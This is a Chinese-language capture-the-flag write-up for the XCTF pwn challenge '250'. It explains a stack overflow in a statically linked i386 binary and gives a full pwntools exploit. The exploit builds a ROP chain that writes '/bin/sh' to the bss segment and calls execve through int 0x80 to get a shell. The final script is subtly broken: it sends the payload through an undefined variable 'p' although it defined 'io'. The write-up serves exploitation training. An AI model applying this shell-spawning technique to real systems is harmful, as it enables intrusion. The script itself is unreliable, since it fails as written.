XCTF pwn 高手進階區 250

查看保護
在這裏插入圖片描述在這裏插入圖片描述
靜態鏈接

IDA打開,查看程序流程
在這裏插入圖片描述
自定義的print函數
在這裏插入圖片描述
這裏外面傳來temp並拷貝到v3中,但是沒有考慮長度,存在棧溢出漏洞,溢出長度0x3a



那麼可以考慮i386的rop
在這裏插入圖片描述
控制對應的寄存器爲對應的值就可以獲得shell

程序裏面沒有’/bin/sh’,可以控制read函數寫入到bss段

那麼可以 ROPgadget --binary 250 --only “pop|ret” 查看對應的gadget
在這裏插入圖片描述
bss段可以選擇(這裏選擇不唯一)
在這裏插入圖片描述
payload構造,首先溢出在bss段寫入/bin/sh



read=elf.symbols['read']
payload = b'a'*(0x3a+0x4) 
payload += p32(read) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(bss) + p32(0x8)

然後修改寄存器的值

payload += p32(pop_eax_ret) + p32(0xb) 
payload += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bss) + p32(int_addr)

完整ex

from pwn import *
#static 構造exceve() int80 
context(log_level='debug')

io=process("./250")
elf=ELF("./250")
io.recv()
io.sendline(b'200')
io.recv()
#read=0x806d510
read=elf.symbols['read']
bss=0x080ECB00
pop_edx_ecx_ebx_ret=0x806efe0
pop_eax_ret=0x80b89e6
int_addr=0x806cbb5


payload = b'a'*(0x3a+0x4) 
payload += p32(read) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(bss) + p32(0x8)
payload += p32(pop_eax_ret) + p32(0xb) 
payload += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bss) + p32(int_addr)

p.sendline(payload)

p.send(b'/bin/sh\x00')

io.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章